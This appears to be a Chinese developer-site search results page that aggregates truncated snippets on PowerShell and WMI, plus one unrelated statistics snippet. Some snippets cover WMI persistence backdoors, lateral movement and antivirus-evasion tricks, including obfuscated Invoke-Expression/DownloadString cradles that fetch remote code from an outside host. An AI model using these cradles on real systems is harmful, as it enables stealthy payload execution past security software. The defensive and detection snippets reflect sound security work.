首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PowerShell 使用 WMI 获取信息 获取 WMI 类显示 WMI信息

PowerShell 可以很容易使用 WMI 拿到系统信息,如果有关注我网站,就会发现我写了很多通过 WMI 拿到系统显卡,系统安装软件等方法,本文告诉大家如果通过 PowerShell 拿到...WMI 类里面的属性 在 Windows 系统通过 Windows Management Instrumentation (WMI) 统一管理系统配置,在 PowerShell 能使用 WMI 功能进行获取系统...很少有人知道 WMI 里面包含了多少可以使用类,包括我之前写很多博客,实际也只是里面的很少,通过下面的例子告诉大家如何获取设备里面包含类 获取 WMI 类 在使用 WMI 之前需要知道 WMI...是能做什么,这个方法能做就是描述系统能被管理资源,在系统里面包含了几百个类,一个类里面包含很多属性 通过 Get-WmiObject 可以找到设备里面所有可以被找到 WMI 类 Get-WmiObject...-List 在 Windows 10 设备,右击开始菜单,打开 PowerShell 输入上面代码,就可以看到输出 在 Get-WmiObject 参数可以加上计算机是哪个,支持访问局域网可以访问计算机信息

2K20
您找到你想要的搜索结果了吗?
是的
没有找到

PowerShell 通过 WMI 获取系统安装驱动

本文告诉大家如何通过 WMI 获取用户已经安装驱动程序 通过下面代码可以获取用户已经安装驱动程序 Get-WmiObject Win32_SystemDriver | Format-List Caption...State : Running Caption : WPD 文件系统驱动程序 Name : WUDFWpdFs State : Running Caption : XINPUT HID 筛选驱动程序...Name : xinputhid State : Stopped 驱动内容很多,我就不全部放在代码 如果需要通过 PowerShell 获取系统安装驱动日期和安装路径,请加上 InstallDate...SystemDriver class - Windows applications ---- 本文会经常更新,请阅读原文: https://lindexi.gitee.io/post/PowerShell...-%E9%80%9A%E8%BF%87-WMI-%E8%8E%B7%E5%8F%96%E7%B3%BB%E7%BB%9F%E5%AE%89%E8%A3%85%E7%9A%84%E9%A9%B1%E5%8A

1.2K10

回归模型变量筛选与预测

我眼中回归变量筛选 变量筛选是回归建模过程关键一步,由于变量相关性,必然会导致不同筛选方法得到不同模型。...在所有变量筛选方法中,向前法、向后法以及逐步回归法使用频率较高,因为这类方法操作简单、运算速度快,非常实用,这种方法选出变量 在入模后模型比较接近最优。...然而经向前法、向后法与逐步回归法筛选变量构建模型并不是最优模型,若想构建最优模型,可以通过构建每个X组合去获取最优变量组合,即全子集法。...Lasso处理是稀疏系数回归,例如如果自变量共200个,因大量自变量间相关性过强,其中显著变量仅有10个,即变量显著情况十分稀疏,这种情况可以尝试用Lasso去筛选变量。...然而,由于数据具有随机性特点,随机数据带入该估计函数时会得到不同估计值,所以需在点估计基础包裹出一个邻域区间,即区间估计。

2.1K10

WMI持久性后门(powershell)(水文)

WMI使用公共信息模型(CIM)行业标准来表示系统、应用程序、网络、设备和其他托管组件。” 实际,所谓事件过滤器只不过就是一个WMI类,用于描述WMI向事件使用者传递事件。...于此同时,事件过滤器还给出了WMI传递事件条件。 需要在系统以管理员身份运行才能创建事件实例。...1.WMI事件 WMI事件一共有3个部分组成: 1.1.Filter WMI 筛选组件允许我们使用 Windows 管理规范 (WMI) 规则。...3.0.使用wmiclass创建 WMI 事件订阅 创建 WMI 事件订阅第一种方法是利用 wmiclass 类型加速并使用 CreateInstance() 方法。...变量$HL39fjh包含 base64 编码 PowerShell 命令,读取存储加密负载 Windows 注册表项,并包含解密负载所需密码和盐。

1.2K10

PS常用命令之系统WMI查看和操作相关命令

WMI有一组API我们不管使用VBScript、PowerShell脚本还是利用C#来访问WMI类库,都是因为WMI向外暴露一组API。...人人都知道WMI能干很多事情,读取本机硬盘信息、读取远程计算机用户信息、读取域用户信息等等。基本你能想到获取或者更改资源操作它都能干。可谓吃得少干得多。它为什么这么能干呢?...Q: WMI 管理常用命令以及工具 wmic.exe - Cmd 命令 Get-CimClass - Powershell 命令 Get-CimInstance - Powershell 命令 Get-WmiObject...870 101203968 2204067848192 # - 4.获取通过使用类名和筛选表达式筛选实例 Get-CimInstance -...-Filter: 用WMI查询语言WQL语法, 指定要用作筛选Where子句, 使用WMI查询语言(WQL)语法。

1.3K10

如何检测并清除WMI持久性后门

当前,Windows Management Instrumentation(WMI)事件订阅已经变成了一种非常流行在端点建立持久性后门技术。...于是,我决定鼓捣一下EmpireWMI模块,并分析相关代码,看看能不能清除这些持久化后门。此外,文中还介绍了用于查看和删除WMI事件订阅一些PowerShell命令。...攻击者可以使用WMI功能来订阅事件,并在事件发生时执行任意代码,从而在系统留下持久性后门。 WMI是啥?...WMI使用公共信息模型(CIM)行业标准来表示系统、应用程序、网络、设备和其他托管组件。” 实际,所谓事件过滤器只不过就是一个WMI类,用于描述WMI向事件使用者传递事件。...在PowerShell中,我们可以使用Get-WMIObject命令来查看事件筛选绑定WMI事件过滤器、事件使用者和使用者过滤器。

2.4K20

WMI利用(横向移动)

2021 WMI利用 (横向移动) 谢公子学安全 讲在前面 作者:pingpig@深蓝攻防实验室 一篇文章我们简单解释了什么是WMIWMI做什么,为什么使用WMI。...本文是笔者在阅读国内部分解释WMI横向移动文章后写下一篇文章,希望帮助同学们在攻防中进入横向移动后根据实际场景利用WMI来解决问题。...使⽤wmic识别安装到系统中补丁情况 wmic product get name,version #查看系统中安装软件以及版本,2008R2执行后无反应。...wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量 ###查询当前主机杀毒软件 wmic process...,在实现方法各有千秋,建议各位同学根据实际场景需要针对性DIY来满足自己需求,解决问题,笔者建议ladon爆破工具,wmic信息收集、以及WinRM需要留意。

2.8K10

powershell对抗360与火绒技巧

0x01 前言 免杀上线一直是经久不衰的话题,今天介绍利用powershell上线来绕过360与火绒防护,并介绍绕过添加用户拦截方式,我们实验环境是一台装了360全家桶与火绒win7。...) 将http分开+号连接 Invoke-Expression(New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx") 变量代替...Down`loadString"('h'+'ttp://9821.ink/xxx') 同样可以使用在Net.Webclient Invoke-Expression(New-Object "`Ne`T...:80/a'))" 我们可以利用powershell特性,利用别名、分割、替换变量等多个方式来绕过检测。...0x04 总结 powershell绕过方式除了命令混淆还有很多,免杀目的就是围绕你目标机器进行实施,并非要追求免杀率,过VT,只要过了你目标机就好。

1.5K31

如何使用Douglas-042为威胁搜索和事件应急响应提速

关于Douglas-042 Douglas-042是一款功能强大PowerShell脚本,该脚本可以提升数据分类速度,并辅助广大研究人员迅速从取证数据中筛选和提取出关键数据。...该工具能够搜索和识别Windows生态系统中潜在安全漏洞,Douglas-042会将注意力放在威胁搜索和事件应急响应任务中最关键事情,确保在执行安全审查任务时不会忽略任何重要信息。...11、历史日志; 12、SMB查询; 13、远程处理查询; 14、注册表分析; 15、日志查询; 16、软件安装; 17、用户活动; 高级查询 1、查询Prefetch文件信息; 2、DLL列表; 3、WMI...筛选; 4、命名管道; 工具下载 该工具本质是一个PowerShell脚本,主要针对Windows系统平台设计。...常规使用 打开一个PowerShell终端,然后执行下列命令启动Douglas-042,脚本执行后结果将以文本文件形式存储到当前目录下: $ PS >.

12210

四十.Powershell恶意代码检测系列 (1)Powershell基础入门及管道和变量用法

.别名基本用法 2.自定义别名 五.Powershell变量基础 1.基础用法 2.变量操作 3.自动化变量 4.环境变量 六.Powershell调用脚本程序 1.脚本文件执行策略 2.调用脚本程序.../下 切换命令行历史记录 Home 光标移至命令行字符最左端 Backspace 从右删除命令行字符 Ctrl+C 取消正在执行命令 Tab...如果两个 >> 它会在原来基础,再进行补充(类似 a+),而单个大于号是删除原来写入(类似 w)。 输出结果如下图所示。...-name dir 查找所有以Remove开头别名 get-alias | where{$_.definition.startswith("Remove")} 其中,where来做一个管道筛选,...自动化变量 powershell打开会自动加载变量,例如:窗口打开它会自动加载大小,再比如程序配置信息自动加载。

8.7K30

如何在矩阵显示“其他”【3】切片动态筛选猫腻

往期推荐 如何在矩阵显示“其他”【1】 如何在矩阵显示“其他”【2】 正文开始 一篇文章末尾,我放了一张动图: 当年度切片变换筛选时,子类别中显示种类和顺序是不相同,但不变是...那么我们基本可以得出结论了:数据表是由子类别和年度组合构成,把每年子类别对应销售额放进去,通过筛选年度切片,达到选择不同年份时显示不同销售额。 我们根据以上思路试着来建立模型。...子类别表2 = SUMMARIZE('data',data[子类别],'日期表'[年度]) 5.将每年排序值大于10rankx标记为11 其实这一步,如果想简单一点,可以和第3步合并到一起,用一个变量返回值来实现...同样,按照其他列进行排序,也是会得到同样结果: 事情好像无法往下进行了。 但是铁人王进喜有句名言:“有条件要,没有条件,创造条件也要。” 我们再重新审视一下这个按列排序错误。...我们来看一下效果: 这样基本达到了本文开始要求: 当年度切片变换筛选时,子类别中显示种类和顺序是不相同,但不变是: ①others永远显示在最后一行 ②显示10个子类别按照sales或sales

2.5K20

狩猎二进制重命名

WMI 事件订阅是通过触发和(EventFilter)和处理(EventConsumer)处理某些系统事件方法。...ActiveScript 事件处理可以通过功能强大 Windows Scripting Host 为 WMI 事件触发添加、丰富事件处理逻辑。...另外,在某些环境中,某些目标的原始名称可能存在合法二进制重命名行为。列出程序列表可能需要对匹配逻辑进行一些调整来兼容不同主机环境。 最后,众所周知,WMI事件处理是难以管理。...基于字符串或者二进制模式规则,利用布尔、计数或者正则表达式之类匹配逻辑。虽然传统仍然是基于模式匹配,但是 Yara 是模块化、可扩展。...Florian Roth 在 2014 年写了一篇关于“inverse”技术文章,文中阐述了如何利用 Powershell 脚本获得所有需要扫描文件,并将每个文件名作为外部变量传递给 Yara 进行扫描

1.3K20

机器学习中特征选择(变量筛选)方法简介

面向医学生/医生实用机器学习教程 变量选择(特征选择,feature selection) ,是机器学习领域非常重要问题,到底哪些变量是有用,哪些是不重要,可以删除,怎么选才能提高模型表现,...当数据维度增加时,决定模型最终使用哪些预测变量是很关键问题。...数据维度就是自变量(预测变量) 特征选择是特征工程中非常重要一部分内容,特征选择方法非常多,主要可以分为以下3类,每个大类下又会细分为好多具体方法,有机会慢慢介绍......3种方法简单解释如下,以后单独演示时会专门再解释: 过滤法:进行变量选择时不考虑模型表现和变量重要性等,只是通过变量自身情况、变量关系进行选择。...包装法:变量选择考虑到了模型表现和变量重要性等信息,属于是对每一个模型进行“量身定制”变量 嵌入法:变量选择过程就在模型训练过程之中 R语言中实现 后续主要介绍3个包:caret、mlr3、tidymodels

2.9K50

如何使用CIMplant收集远程系统中数据并执行命令

注意:某些命令仍然会使用PowerShellWMI结合方式来实现。...该工具允许使用WMI或CIM来进行连接,并且需要目标系统中中本地管理员权限来执行任务操作。...cs:该文件负责初始化CIM/WMI连接,并将连接传递给应用程序进行后续操作。 cs:包含了WMI命令中所有函数代码。 cs:包含了CIM(IM)命令中所有函数代码。...安全检测解决方案 当然,我们首先要注意是初始WMI或CIM连接。通常,WMI使用DCOM作为通信协议,而CIM使用是WSMan(或WinRM)。...接下来,你需要在事件查看中查看Microsoft Windows WMI活动/跟踪事件日志。如果可能,搜索事件ID 11并在IsLocal属性上进行筛选

1.2K30
领券